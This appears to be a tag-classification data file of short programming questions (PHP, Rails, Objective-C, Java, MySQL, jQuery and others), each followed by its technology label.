if this is true  then do this... explanation   the method:   <pre><code>    public function checkname($name)     {         $this-&gt;check = $this-&gt;pdo-&gt;prepare( select * from users where username = :name );         $this-&gt;check-&gt;execute(array( :name  =&gt; $name));          if ($this-&gt;check-&gt;rowcount() &gt; 0)         {             return true;         }     } </code></pre>   this code apparently doesn t work:   <pre><code>if (!$user-&gt;checkname( jony )) {  echo  1 ; } </code></pre>   even if i have jony in the database  it echoing  1 .    this code works:   <pre><code>if ($user-&gt;checkname( jony ) != true)  {     echo  1 ; } </code></pre>   this doesn t echo  1   but echoing 1 if i dont include jony  and its not in the database.    <strong>i thought you can just do if (true) then...  do you actually have to include if != true or if == true </strong>,php
rails + single table inheritance: how to customize validation error message   i have a parent class:   <pre><code>class address &lt; activerecord::base   ...   validates_presence_of :first_name   validates_presence_of :last_name   validates_presence_of :street_address   validates_presence_of :street_address2   validates_presence_of :zip_code   validates_presence_of :city   validates_presence_of :state_id   validates_presence_of :phone_number  end </code></pre>   and two subclasses:   <pre><code>class shippingaddress &lt; address end   class billingaddress &lt; address end </code></pre>   however  when i m creating invalid records on my form (i m creating both at once)  the validation errors for shippingaddress and billingaddress are identical  which i don t want:   <pre><code>first name can t be blank first name can t be blank last name can t be blank last name can t be blank street address can t be blank street address can t be blank street address2 can t be blank street address2 can t be blank zip code can t be blank zip code can t be blank city can t be blank city can t be blank phone number can t be blank phone number can t be blank </code></pre>   how would i prefix the validation errors with the class name like <code> shipping address first name can t be blank </code>     == update ==    yoshi s answer doesn t work when i try it:   <pre><code>class address &lt; activerecord::base     validates_presence_of :first_name  message: i18n.t( activerecord.errors.models.#{self.model_name.to_s.underscore}.attributes.first_name )     nets-mac-pro:ilook emai$ be rails c loading development environment (rails 4.1.1) irb(main):001:0&gt; s = shippingaddress.new =&gt; #&lt;shippingaddress id: nil  first_name: nil  last_name: nil  street_address: nil  street_address2: nil  zip_code: nil  phone_number: nil  created_at: nil  updated_at: nil  state_id: nil  city: nil  type:  shippingaddress   order_id: nil&gt; irb(main):002:0&gt; s.valid  =&gt; false irb(main):003:0&gt; s.errors.full_messages =&gt; [ first name translation missing: en.activerecord.errors.models.address.attributes.first_name    last name can t be blank    street address can t be blank    street address2 can t be blank    zip code can t be blank    city can t be blank    state can t be blank    phone number can t be blank ] </code></pre>   it says that the model name is address instead of shippingaddress. i m guessing this is eager loaded.,ruby-on-rails
is there any way that ng-model directive bind data after 10 seconds or after some time   i have a search field and i want that the binding of search textbox reflected after some time.thanks in advance.    here is my code   <pre><code>&lt;div ng-controller= appointment as vm &gt; search by description :  &lt;input class= form-control  placeholder= search by    description  type= text  ng-model= vm.filtertext  /&gt; {{vm.filtertext}} &lt;/div&gt; </code></pre>,angularjs
download epub (nsurlconnection)  save it  and open it with uidocumentinteractioncontroller  so i am trying to download an epub book with nsurlconnection. so far  the download is working perfectly. the issue comes when i try to save it and open it. when i try to open it with uidocumentinteractioncontroller  the app crashes saying that the directory is null.    here is my code:   <pre><code> //download epub file  nsurl *url = [nsurl urlwithstring:@ http://www.terceiroanjo.com/materiais/missaopiloto.epub ];  nsurlrequest *therequest = [nsurlrequest requestwithurl:url cachepolicy:nsurlrequestreloadignoringlocalandremotecachedata timeoutinterval:10.0];  connection = [[nsurlconnection alloc] initwithrequest:therequest delegate:self]; </code></pre>   then   <pre><code>// save it ( data  = nsmutabledata that was appended from the received data of the download) - (void)connectiondidfinishloading:(nsurlconnection *)connection {      nsstring  *filepath = [nsstring stringwithformat:@ %u/%@   nsdocumentdirectory @ missaopiloto.epub ];      [data writetofile:filepath atomically:yes]; } </code></pre>   and to open the epub:   <pre><code> nsstring *path = [[nsbundle mainbundle] pathforresource:@ missaopiloto  oftype:@ epub ];  nsurl *urls = [nsurl fileurlwithpath:path];   self.documentcontroller = [uidocumentinteractioncontroller interactioncontrollerwithurl:urls];  documentcontroller.delegate = self;   [documentcontroller presentopeninmenufromrect:cgrectzero inview:self.view animated:yes]; </code></pre>   when i try to open it  the app crashes:    <strong>* terminating app due to uncaught exception  nsinvalidargumentexception   reason:  *</strong> -[nsurl initfileurlwithpath:]: nil string parameter     i get it  the directory is nill  but why  what am i doing wrong. any ideas     thanks.,objective-c
rails help needed - unable to push to heroku  unable to push hartl chapter 5 rails to heroku. can find any answers when searching error via google. details...    error:    <pre><code>(see full trace by running task with --trace) ! !     precompiling assets failed. !  !     push rejected  failed to compile ruby app </code></pre>   heroku log:    <pre><code>! [remote rejected] master -&gt; master (pre-receive hook declined) error: failed to push some refs to  git@heroku.com:quiet-beyond-1969.git  omitted_pc_name:sample_app omitted_username $ heroku logs 2014-05-13t11:07:43.076108+00:00 app[web.1]:   vendor/bundle/ruby/2.0.0/gems/actionpack-4.1.0/lib/action_dispatch/middleware/show_exceptions.rb:30:in `call  2014-05-13t11:07:43.076110+00:00 app[web.1]:   vendor/bundle/ruby/2.0.0/gems/railties-4.1.0/lib/rails/rack/logger.rb:38:in `call_app  2014-05-13t11:07:43.076111+00:00 app[web.1]:   vendor/bundle/ruby/2.0.0/gems/railties-4.1.0/lib/rails/rack/logger.rb:20:in `block in call  2014-05-13t11:07:43.076115+00:00 app[web.1]:   vendor/bundle/ruby/2.0.0/gems/activesupport-4.1.0/lib/active_support/tagged_logging.rb:26:in `tagged  2014-05-13t11:07:43.076119+00:00 app[web.1]:   vendor/bundle/ruby/2.0.0/gems/actionpack-4.1.0/lib/action_dispatch/middleware/request_id.rb:21:in `call  2014-05-13t11:07:43.076131+00:00 app[web.1]:   vendor/bundle/ruby/2.0.0/gems/rack-1.5.2/lib/rack/lock.rb:17:in `call  2014-05-13t11:07:43.076133+00:00 app[web.1]:   vendor/bundle/ruby/2.0.0/gems/rack-1.5.2/lib/rack/content_length.rb:14:in `call  2014-05-13t11:07:43.076123+00:00 app[web.1]:   vendor/bundle/ruby/2.0.0/gems/rack-1.5.2/lib/rack/runtime.rb:17:in `call  2014-05-13t11:07:43.076134+00:00 app[web.1]:   vendor/bundle/ruby/2.0.0/gems/rack-1.5.2/lib/rack/handler/webrick.rb:60:in `service  2014-05-13t11:07:43.076124+00:00 app[web.1]:   vendor/bundle/ruby/2.0.0/gems/activesupport-4.1.0/lib/active_support/cache/strategy/local_cache_middleware.rb:26:in `call  2014-05-13t11:07:43.076155+00:00 app[web.1]:   vendor/ruby-2.0.0/lib/ruby/2.0.0/webrick/httpserver.rb:138:in `service  2014-05-13t11:07:43.076125+00:00 app[web.1]:   vendor/bundle/ruby/2.0.0/gems/actionpack-4.1.0/lib/action_dispatch/middleware/static.rb:64:in `call  2014-05-13t11:07:43.076156+00:00 app[web.1]:   vendor/ruby-2.0.0/lib/rub y/2.0.0/webrick/httpserver.rb:94:in `run  2014-05-13t11:07:43.076113+00:00 app[web.1]:   vendor/bundle/ruby/2.0.0/gems/activesupport-4.1.0/lib/active_support/tagged_logging.rb:68:in `block in tagged  2014-05-13t11:07:43.076130+00:00 app[web.1]:   vendor/bundle/ruby/2.0.0/gems/railties-4.1.0/lib/rails/application.rb:144:in `call  2014-05-13t11:07:43.076158+00:00 app[web.1]:   vendor/ruby-2.0.0/lib/ruby/2.0.0/webrick/server.rb:295:in `block in start_thread  2014-05-13t11:07:43.076159+00:00 app[web.1]: 2014-05-13t11:07:43.076127+00:00 app[web.1]:   vendor/bundle/ruby/2.0.0/gems/rack-1.5.2/lib/rack/sendfile.rb:112:in `call  2014-05-13t11:07:43.076128+00:00 app[web.1]:   vendor/bundle/ruby/2.0.0/gems/railties-4.1.0/lib/rails/engine.rb:514:in `call  2014-05-13t11:07:43.076116+00:00 app[web.1]:   vendor/bundle/ruby/2.0.0/gems/activesupport-4.1.0/lib/active_support/tagged_logging.rb:68:in `tagged  2014-05-13t11:07:43.076118+00:00 app[web.1]:   vendor/bundle/ruby/2.0.0/gems/railties-4.1.0/lib/rails/rack/logger.rb:20:in `call  2014-05-13t11:07:43.076160+00:00 app[web.1]: 2014-05-13t11:07:43.076121+00:00 app[web.1]:   vendor/bundle/ruby/2.0.0/gems/rack-1.5.2/lib/rack/methodoverride.rb:21:in `call  2014-05-13t11:07:43.074007+00:00 app[web.1]: started get  /contact  for 24.209.204.140 at 2014-05-13 11:07:43 +0000 2014-05-13t11:07:43.393773+00:00 heroku[router]: at=info method=get path=/favicon.ico host=quiet-beyond-1969.herokuapp.com request_id=71bfd62e-09a9-49b0-81ce-1db83645ec87 fwd= 24.209.204.140  dyno=web.1 connect=1ms service=4ms status=304 bytes=133 2014-05-13t11:07:55.947210+00:00 heroku[router]: at=info method=get path=/static_pages/contact host=quiet-beyond-1969.herokuapp.com request_id=7fe1479d-3624-40de-921a-48244240c973 fwd= 24.209.204.140  dyno=web.1 connect=0ms service=11ms status=200 bytes=1545 2014-05-13t11:07:55.927574+00:00 app[web.1]: started get  /static_pages/contact  for 24.209.204.140 at 2014-05-13 11:07:55 +0000 2014-05-13t11:07:55.932959+00:00 app[web.1]:   rendered static_pages/contact.html.erb within layouts/application (0.9ms) 2014-05-13t11:07:55.934322+00:00 app[web.1]: completed 200 ok in 4ms (views: 3.3ms | activerecord: 0.0ms) 2014-05-13t11:07:55.930303+00:00 app[web.1]: processing by staticpagescontroller#contact as html 2014-05-13t11:07:56.292382+00:00 heroku[router]: at=info method=get path=/favicon.ico host=quiet-beyond-1969.herokuapp.com request_id=9c724802-1937-449d-908f-caa71ee4fa1d fwd= 24.209.204.140  dyno=web.1 connect=0ms service=3ms status=304 bytes=133 2014-05-13t12:09:32.928745+00:00 heroku[web.1]: idling 2014-05-13t12:09:32.929319+00:00 heroku[web.1]: state changed from up to down 2014-05-13t12:09:35.867617+00:00 app[web.1]:  /app/vendor/bundle/ruby/2.0.0/gems/railties-4.1.0/lib/rails/commands/commands_tasks.rb:81:in `block in server  2014-05-13t12:09:35.867618+00:00 app[web.1]:  /app/vendor/bundle/ruby/2.0.0/gems/railties-4.1.0/lib/rails/commands/commands_tasks.rb:76:in `tap  2014-05-13t12:09:35.867615+00:00 app[web.1]:  /app/vendor/bundle/ruby/2.0.0/gems/railties-4.1.0/lib/rails/commands/server.rb:69:in `start  2014-05-13t12:09:35.867612+00:00 app[web.1]:  /app/vendor/bundle/ruby/2.0.0/gems/rack-1.5.2/lib/rack/handler/webrick.rb:14:in `run  2014-05-13t12:09:35.867621+00:00 app[web.1]:  /app/vendor/bundle/ruby/2.0.0/gems/railties-4.1.0/lib/rails/commands/commands_tasks.rb:40:in `run_command!  2014-05-13t12:09:35.867623+00:00 app[web.1]:  /app/vendor/bundle/ruby/2.0.0/gems/railties-4.1.0/lib/rails/commands.rb:17:in `&lt;top (required)&gt;  2014-05-13t12:09:35.867625+00:00 app[web.1]:  bin/rails:8:in `require  2014-05-13t12:09:35.867626+00:00 app[web.1]:  bin/rails:8:in `&lt;main&gt;  2014-05-13t12:09:35.867742+00:00 app[web.1]: [2014-05-13 12:09:35] info  going to shutdown ... 2014-05-13t12:09:35.867806+00:00 app[web.1]: [2014-05-13 12:09:35] info  webrick::httpserver#start done. 2014-05-13t12:09:35.867860+00:00 app[web.1]: exiting 2014-05-13t12:09:35.867607+00:00 app[web.1]:  /app/vendor/ruby-2.0.0/lib/ruby/2.0.0/webrick/server.rb:170:in `block in start  2014-05-13t12:09:35.867608+00:00 app[web.1]:  /app/vendor/ruby-2.0.0/lib/ruby/2.0.0/webrick/server.rb:32:in `start  2014-05-13t12:09:35.867613+00:00 app[web.1]:  /app/vendor/bundle/ruby/2.0.0/gems/rack-1.5.2/lib/rack/server.rb:264:in `start  2014-05-13t12:09:35.867597+00:00 app[web.1]: [2014-05-13 12:09:35] fatal signalexception: sigterm 2014-05-13t12:09:35.867605+00:00 app[web.1]:  /app/vendor/ruby-2.0.0/lib/ruby/2.0.0/webrick/server.rb:170:in `select  2014-05-13t12:09:35.867610+00:00 app[web.1]:  /app/vendor/ruby-2.0.0/lib/ruby/2.0.0/webrick/server.rb:160:in `start  2014-05-13t12:09:35.867620+00:00 app[web.1]:  /app/vendor/bundle/ruby/2.0.0/gems/railties-4.1.0/lib/rails/commands/commands_tasks.rb:76:in `server  2014-05-13t12:09:37.322432+00:00 heroku[web.1]: process exited with status 143 2014-05-13t12:09:35.371241+00:00 heroku[web.1]: stopping all processes with sigterm 2014-05-14t22:48:03.955115+00:00 heroku[web.1]: state changed from down to starting 2014-05-14t22:48:03.954820+00:00 heroku[web.1]: unidling 2014-05-14t22:48:10.611841+00:00 app[web.1]: [2014-05-14 22:48:10] info  webrick 1.3.1 2014-05-14t22:48:10.611862+00:00 app[web.1]: [2014-05-14 22:48:10] info  ruby 2.0.0 (2014-05-08) [x86_64-linux] 2014-05-14t22:48:10.612454+00:00 app[web.1]: [2014-05-14 22:48:10] info  webrick::httpserver#start: pid=2 port=7642 2014-05-14t22:48:12.336196+00:00 heroku[router]: at=info method=get path=/static_pages/contact host=quiet-beyond-1969.herokuapp.com request_id=12a3e997-f281-4003-8e92-2a134adb632b fwd= 64.233.172.211  dyno=web.1 connect=10ms service=153ms status=200 bytes=1585 2014-05-14t22:48:12.419986+00:00 heroku[router]: at=info method=get path=/favicon.ico host=quiet-beyond-1969.herokuapp.com request_id=74aae286-1214-4943-8b36-3511a44d036b fwd= 64.233.172.211  dyno=web.1 connect=2ms service=11ms status=200 bytes=228 2014-05-14t22:48:12.185854+00:00 app[web.1]: =&gt; run `rails server -h` for more startup options 2014-05-14t22:48:12.185857+00:00 app[web.1]: =&gt; ctrl-c to shutdown server 2014-05-14t22:48:12.185852+00:00 app[web.1]: =&gt; rails 4.1.0 application starting in production on http://0.0.0.0:7642 2014-05-14t22:48:12.300409+00:00 app[web.1]: processing by staticpagescontroller#contact as html 2014-05-14t22:48:12.326506+00:00 app[web.1]: completed 200 ok in 26ms (views: 25.4ms | activerecord: 0.0ms) 2014-05-14t22:48:12.185856+00:00 app[web.1]: =&gt; notice: server is listening on all interfaces (0.0.0.0). consider using 127.0.0.1 (--binding option) 2014-05-14t22:48:12.185859+00:00 app[web.1]: started get  /static_pages/contact  for 64.233.172.211 at 2014-05-14 22:48:12 +0000 2014-05-14t22:48:12.185817+00:00 app[web.1]: =&gt; booting webrick 2014-05-14t22:48:12.303808+00:00 app[web.1]:   rendered static_pages/contact.html.erb within layouts/application (0.7ms) 2014-05-14t22:48:07.499920+00:00 heroku[web.1]: starting process with command `bin/rails server -p 7642 -e production` 2014-05-14t22:48:11.046152+00:00 heroku[web.1]: state changed from starting to up 2014-05-14t23:55:23.751138+00:00 heroku[web.1]: state changed from up to down 2014-05-14t23:55:23.750586+00:00 heroku[web.1]: idling 2014-05-14t23:55:27.102715+00:00 app[web.1]:  /app/vendor/bundle/ruby/2.0.0/gems/rack-1.5.2/lib/rack/handler/webrick.rb:14:in `run  2014-05-14t23:55:27.102713+00:00 app[web.1]:  /app/vendor/ruby-2.0.0/lib/ruby/2.0.0/webrick/server.rb:160:in `start  2014-05-14t23:55:27.102716+00:00 app[web.1]:  /app/vendor/bundle/ruby/2.0.0/gems/rack-1.5.2/lib/rack/server.rb:264:in `start  2014-05-14t23:55:27.102711+00:00 app[web.1]:  /app/vendor/ruby-2.0.0/lib/ruby/2.0.0/webrick/server.rb:32:in `start  2014-05-14t23:55:27.102729+00:00 app[web.1]:  bin/rails:8:in `&lt;main&gt;  2014-05-14t23:55:27.102762+00:00 app[web.1]: [2014-05-14 23:55:27] info  going to shutdown ... 2014-05-14t23:55:27.102865+00:00 app[web.1]: [2014-05-14 23:55:27] info  webrick::httpserver#start done. 2014-05-14t23:55:27.102886+00:00 app[web.1]: exiting 2014-05-14t23:55:27.102708+00:00 app[web.1]:  /app/vendor/ruby-2.0.0/lib/ruby/2.0.0/webrick/server.rb:170:in `select  2014-05-14t23:55:27.102700+00:00 app[web.1]: [2014-05-14 23:55:27] fatal signalexception: sigterm 2014-05-14t23:55:27.102718+00:00 app[web.1]:  /app/vendor/bundle/ruby/2.0.0/gems/railties-4.1.0/lib/rails/commands/server.rb:69:in `start  2014-05-14t23:55:27.102728+00:00 app[web.1]:  bin/rails:8:in `require  2014-05-14t23:55:27.102723+00:00 app[web.1]:  /app/vendor/bundle/ruby/2.0.0/gems/railties-4.1.0/lib/rails/commands/commands_tasks.rb:76:in `server  2014-05-14t23:55:27.102725+00:00 app[web.1]:  /app/vendor/bundle/ruby/2.0.0/gems/railties-4.1.0/lib/rails/commands/commands_tasks.rb:40:in `run_command!  2014-05-14t23:55:27.102726+00:00 app[web.1]:  /app/vendor/bundle/ruby/2.0.0/gems/railties-4.1.0/lib/rails/commands.rb:17:in `&lt;top (required)&gt;  2014-05-14t23:55:27.102710+00:00 app[web.1]:  /app/vendor/ruby-2.0.0/lib/ruby/2.0.0/webrick/server.rb:170:in `block in start  2014-05-14t23:55:27.102720+00:00 app[web.1]:  /app/vendor/bundle/ruby/2.0.0/gems/railties-4.1.0/lib/rails/commands/commands_tasks.rb:81:in `block in server  2014-05-14t23:55:27.102721+00:00 app[web.1]:  /app/vendor/bundle/ruby/2.0.0/gems/railties-4.1.0/lib/rails/commands/commands_tasks.rb:76:in `tap  2014-05-14t23:55:26.472850+00:00 heroku[web.1]: stopping all processes with sigterm 2014-05-14t23:55:28.363695+00:00 heroku[web.1]: process exited with status 143 2014-05-20t11:25:02+00:00 heroku[slug-compiler]: slug compilation started 2014-05-20t11:25:23+00:00 heroku[slug-compiler]: slug compilation failed: failed to compile ruby app 2014-05-20t11:29:36+00:00 heroku[slug-compiler]: slug compilation started 2014-05-20t11:29:55+00:00 heroku[slug-compiler]: slug compilation failed: failed to compile ruby app 2014-05-20t21:56:16+00:00 heroku[slug-compiler]: slug compilation started 2014-05-20t21:56:35+00:00 heroku[slug-compiler]: slug compilation failed: failed to compile ruby app 2014-05-21t10:35:08+00:00 heroku[slug-compiler]: slug compilation started 2014-05-21t10:35:25+00:00 heroku[slug-compiler]: slug compilation failed: failed to compile ruby app </code></pre>   any ideas. i can t seem to find anything on google. the app runs fine locally.    <a href= http://github.com/freqn/s_app  rel= nofollow >repo on github</a>,ruby-on-rails
restricting edit and delete  i want to be able to edit and delete resources myself  but not allow users of the application to do so.    is there an easy way of doing this in rails     an incomplete solution would be just to remove the  delete  and  edit  buttons from the index view  but that doesn t disable their ability to do so via direct http requests.    running rails 2.2.2 and ruby 1.8.7,ruby-on-rails
how can i load two custom tableview cells for one table view  i would like to use the two custom tableviewcells(two nib files) like first custom view for first row and second for second row. but the first tableviewcell is not loading. each row is showing with the second one only. below is the code i used     in viewdidload  i have registered like   <pre><code>uinib *nib = [uinib nibwithnibname:@ tableviewcell  bundle:nil]; [self.maintableview registernib:nib forcellreuseidentifier:cellidentifier1];  nib = [uinib nibwithnibname:@ secondtableviewcell  bundle:nil]; [self.maintableview registernib:nib forcellreuseidentifier:cellidentifier2];   - (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {   //uitableviewcell *cell;  static nsstring *cellidentifier1 = @ tableviewcell ; static nsstring *cellidentifier2 = @ secondtableviewcell ;   if (indexpath == 0) {    tableviewcell *cell = (tableviewcell*)[tableview dequeuereusablecellwithidentifier:cellidentifier1];         return cell; } else {   secondtableviewcell*  cell = (secondtableviewcell*)[tableview dequeuereusablecellwithidentifier:cellidentifier2];         // load the top-level objects from the custom cell xib.         cell.questionlbl.text = [nsstring stringwithformat:@ %ld  indexpath.row+1];         //cell.questionname.text = [self.questionsarray objectatindex:indexpath.row];         // grab a pointer to the first object (presumably the custom cell  as that s all the xib should contain).         return cell; }   return nil; } </code></pre>,ios
rails instance method with if/else on empty field  i wrote an instance method in my model for calculating a time difference between two dates. works when the second date exists  but need to add an <code>if else</code> condition to return a string if the second date does not exist. i have    <pre><code>class incident   def calculate_elapsed(difference) if self.closed.nil    @difference =  open  else   d1 = self.created   d2 = self.closed   difference = d2 - d1   @difference = difference.to_i end  </code></pre>   when i try to load an incident which i know to have an empty <code>closed</code> date i get     <code>you have a nil object when you didn t expect it!</code>    <code>you might have expected an instance of array.</code>    <code>the error occurred while evaluating nil.-</code>    puzzled by the error because i figured <code>if self.closed.nil </code> was checking for the nil object. what can i do to get this to work      i m not certain this is the right way to handle what i m trying to do  so open to any and all suggestions (i.e. this should be a class method  helper  etc. had it in my controller previously and figured this was a step in the right direction).    what s further confusing is that i can call this method in a partial and it returns the  open  string wherever the closed date does not exist.    <strong>edit</strong>    here s what i got working-    model:   <pre><code>class incident   def calculate_elapsed if self.closed.blank    @difference =  complaint open  else   d1 = created   d2 = closed   difference = d2 - d1   difference_clean = difference.to_i   @difference = difference_clean.to_s +   days  end  end </code></pre>   show.html.erb   <pre><code>&lt;%= @incident.calculate_elapsed %&gt; </code></pre>   _incidents.html.erb partial   <pre><code>&lt;%= incident.calculate_elapsed %&gt; </code></pre>,ruby-on-rails
mysqlnontransientconnectionexception: data source rejected establishment of connection  message from server:  too many connections   i have connection leak problem in my application   i see that number of connections creep up as some hours (requests ) pass by   finally they are all consumed and we get   we are using jdbc with defualt  tomcat 7  and default mysql 5.0     data source rejected establishment of connection   message from server:  too many connections     this is the message we see under our server    <pre><code>com.mysql.jdbc.exceptions.jdbc4.mysqlnontransientconnectionexception: data source rejected establishment of connection   message from server:  too many connections          at sun.reflect.generatedconstructoraccessor42.newinstance(unknown source)         at sun.reflect.delegatingconstructoraccessorimpl.newinstance(delegatingconstructoraccessorimpl.java:45)         at java.lang.reflect.constructor.newinstance(constructor.java:526)         at com.mysql.jdbc.util.handlenewinstance(util.java:411)         at com.mysql.jdbc.util.getinstance(util.java:386)         at com.mysql.jdbc.sqlerror.createsqlexception(sqlerror.java:1014)         at com.mysql.jdbc.sqlerror.createsqlexception(sqlerror.java:988)         at com.mysql.jdbc.sqlerror.createsqlexception(sqlerror.java:974)         at com.mysql.jdbc.mysqlio.dohandshake(mysqlio.java:1110)         at com.mysql.jdbc.connectionimpl.coreconnect(connectionimpl.java:2465)         at com.mysql.jdbc.connectionimpl.connectonetryonly(connectionimpl.java:2498)         at com.mysql.jdbc.connectionimpl.createnewio(connectionimpl.java:2283)         at com.mysql.jdbc.connectionimpl.&lt;init&gt;(connectionimpl.java:822)         at com.mysql.jdbc.jdbc4connection.&lt;init&gt;(jdbc4connection.java:47)         at sun.reflect.generatedconstructoraccessor30.newinstance(unknown source)         at sun.reflect.delegatingconstructoraccessorimpl.newinstance(delegatingconstructoraccessorimpl.java:45)         at java.lang.reflect.constructor.newinstance(constructor.java:526)         at com.mysql.jdbc.util.handlenewinstance(util.java:411)         at com.mysql.jdbc.connectionimpl.getinstance(connectionimpl.java:404)         at com.mysql.jdbc.nonregisteringdriver.connect(nonregisteringdriver.java:317)         at java.sql.drivermanager.getconnection(drivermanager.java:571)         at java.sql.drivermanager.getconnection(drivermanager.java:215) </code></pre>   and we are sure that we are closing all the db connections inside the java files     utility class    <pre><code>public class dbconnection {  public static connection getdbconnection() {         string surl= jdbc:mysql://localhost:3306/sss ;         //string surl= jdbc:mysql://192.xxx.2.s:3306/sss ;         string susername= root ;         string spwd=  ;         connection conn = null;         try {             class.forname( com.mysql.jdbc.driver );             conn = drivermanager.getconnection(surl  susername spwd);             return conn;             } catch (sqlexception e) {             e.printstacktrace();             } catch (classnotfoundexception e) {             e.printstacktrace();         }         return conn;     }       public static void close(connection con)     {         if (con != null)         {             try             {                 con.close();             }             catch (sqlexception e)             {                 e.printstacktrace();             }         }     }  } </code></pre>   this is how i access the connection   <pre><code>public string adminlogin() { connection dbconnection = null;  dbconnection = dbconnection.getdbconnection();  try { } catch() {  }  finally  {     dbconnection.close(dbconnection); } } </code></pre>   could anybody plese let me know how to resolve this,java
what benefit does your code receive if you decorate it with attributes demanding specific security permissions   what benefit does your code receive if you decorate it with attributes demanding specific security permissions,.net
how to detect when my non swing program closes  so i m writing a program that has user data that when it boots up decrypts it but it runs out of a terminal and i want to be able to encrypt the data when the program is closed. is there any way to achieve this in java,java
jquery - stop function being triggered again until it s stopped running  i have a bit of code that basically zooms into an image on mouseover and then resets on mouseleave.     my only issue is that if you mouseover/leave quickly the function runs and runs and runs that many times.    is there any way to prevent the function from firing if it s currently animating     i understand this can be done with css but i need to be able to support all browsers back to ie8 so that s not an option (annoyingly)    thanks!!   <pre><code>$(document).ready(function () {         $( .image img ).on( mouseover   function () {             $(this).animate({                 height:  110%                   width:  110%                   marginleft:  -5%                   margintop:  -5%              }  1000);         });          $( .image img ).on( mouseleave   function () {             $(this).animate({                 height:  100%                   width:  100%                   marginleft:  0%                   margintop:  0%              }  1000);         });     }); </code></pre>,jquery
treat a string of words like an array (c++)  im trying to create a text-based game  im working in a team of other guys and im having a problem creating an item list.    i pretty much want a list of items like an array of words and being able to replace an item with another item by simply pointing to the item like you would pick up an item on your travels in the game.    is this possible  every website ive looked at has went into detail about creating an expandanble list of string or memory allocation. all i want to do is have a list of values that i can call from for example i imagined it could work like so.   <pre><code> item1 =  lint  dust  sword axe gem gold key  silver key ;  item2 =  lint  dust  sword axe gem gold key  silver key ;  cout &lt;&lt;  show:  &lt;&lt; item1[3] &lt;&lt;   and   &lt;&lt; item2[2] &lt;&lt;  \n ;   show: sword and axe  </code></pre>   instead the outcome is usually  t   as in the 3rd character.    also the reason i have this idea of working is because ive worked with matlab in creating something similar using an array and it worked  maybe thats why i think this should work so simply.,c++
how can i insert max() in my mysql   im trying to use <code>max()</code> here in my <code>sql</code> but im confused because i am using <code>join</code> table and i dont have idea where i should insert the <code>max()</code>    i need to add the column name <code>date_issue</code> from the table <code>crew_documents_table</code>    here is my sql:   <pre><code>select *  from   info join   crew_documents_table on info.id = crew_documents_table.document_crew_id join    crew_rank on info.crew_rank = crew_rank.crew_rank_id where   crew_rank in ( 1   2   3   4   5 ) and   crew_status =  $crew_status  and   vessel =  $vessel_name  group by full_name </code></pre>,mysql
how can i access the method in a subclass through my parent reference variables   suppose you have   <pre><code>public class a{    public void a_parent(){     system.out.println( parent class invoked: );    } } </code></pre>   as your main class and 4 other classes inherit that class   <pre><code>public class a1 extends a{    public void a1(){        system.out.println( a1 class invoked: );    } </code></pre>   }   <pre><code>public class a2 extends a{    public void a2(){        system.out.println( a2 class invoked: );    } </code></pre>   }   <pre><code>public class a3 extends a{    public void a3(){        system.out.println( a3 class invoked: );    } </code></pre>   }   <pre><code>public class a4 extends a{    public void a4(){        system.out.println( a4 class invoked: );    } } </code></pre>   in the main method  i call them like this.   <pre><code> public class testclasses{    public static void main(string args[]){      a a;         a = new a1();         a = new a2();         a = new a3();         a = new a4();  system.out.println(a.a2());   } } </code></pre>   when i try to invoke the a2 method  i can t. i only have access to a4 and a_parent method.    can someone help  please,java
positioning a div under other divs  i am currently learning how to slice a theme and i would like some help on positioning a div under other divs. for example i would like to position the divs (box1-box3) under the adsales&amp;announcements divs and for them to be centered. if you notice on the fiddle the divs are not centered ad the other divs. thanks in advance.       <pre><code>&lt;div id= adsales &gt;  &lt;/div&gt; &lt;div id= announcements &gt;  &lt;/div&gt;  &lt;div id= box1 &gt;&lt;/div&gt;  &lt;div id= box2 &gt;&lt;/div&gt;  &lt;div id= box3 &gt;&lt;/div&gt; </code></pre>       <a href= http://jsfiddle.net/edwinakatosh/yjlce/embedded/result/  rel= nofollow >http://jsfiddle.net/edwinakatosh/yjlce/embedded/result/</a>,css
speed up mysql query that checks duplicates with mismatched values and updates  can i speed up this query to make it faster  right now its taking 51 seconds.   <pre><code>update tbl_user_tmp tut   inner join tbl_user_tmp tut1 on tut.name = tut1.name   set tut.image =  1   tut1.image= 1    where tut.image = 0 and tut1.image=1 and tut.user =  user  and tut1.user =  user  </code></pre>   im trying to find entires with same name and update image if one name has image that equals 0 and another equals 1.    im not able to put an index on this table because its updated and inserted by users on my site. from what i understand adding index s will slow those queries down. i need it to be quick. this is really the only query i have that is causing an issue. so hope to figure out a way without having to index.,mysql
nsinvalidargumentexception/copywithzone exception with nsmutabledictionary  i have a class that i m encapsulating abrecordid with and when it s used as a key to add to an nsmutabledictionary  i get the run-time exception:   <blockquote>     nsinvalidargumentexception: ***   -[myrecordid copywithzone:]: unrecognized selector sent to   instance   </blockquote>   myrecordid declared as:   <pre><code>@interface myrecordid : nsobject {     abrecordid abrecordid; }  -(id)initwithid:(abrecordid)anabrecordid; @property (nonatomic) abrecordid abrecordid;  @end </code></pre>   adding to dictionary:   <pre><code>nsmutabledictionary *dict = [[nsmutabledictionary alloc] init]; myrecordid *recordid = [[myrecordid alloc] initwithid:anabrecordid]; [dict setobject:@ hello  forkey:recordid]; </code></pre>   the last line causes the exception.. i know that you can t store non-object types as keys for a dictionary but i thought that wrapping it up in nsobject derived class would make it okay.    am i not supposed to store abrecordid in other objects  should i be doing something else,iphone
when writing code for an event from a control  should i cast object or reference it explicitly  if i am writing code to handle an event from a control on a form as follows:   <pre><code> private void btnbutton_click(object sender  eventargs e)  {         button btn = (button)sender;         btn.text =  button pressed   } </code></pre>   should i always cast the sender object to its correct type (as i m doing above)  or is it better to explicitly reference the control name  like:   <pre><code> private void btnbutton_click(object sender  eventargs e)  {         btnbutton.text =  button pressed   } </code></pre>   what s the best practice here  i guess i m probably worrying about this too much though...,.net
question about accessing data  if two users are accessing same database table  how do we prevent users from overwriting each other’s data  thank you  -nimesh,sql
conditions on a relation table n-n  i have to create a program in which i have to describe this situation with this relations:   <pre><code>city - country country - language </code></pre>   the problem is that i have to create a double-table-relation between city and country because i have to know in a table the capital of a country and the other cities have to be in another table.    for instance i have to create a n-n relation with city(capital) and country and 1-n relation with city(not capital) and country. how can i do that,mysql
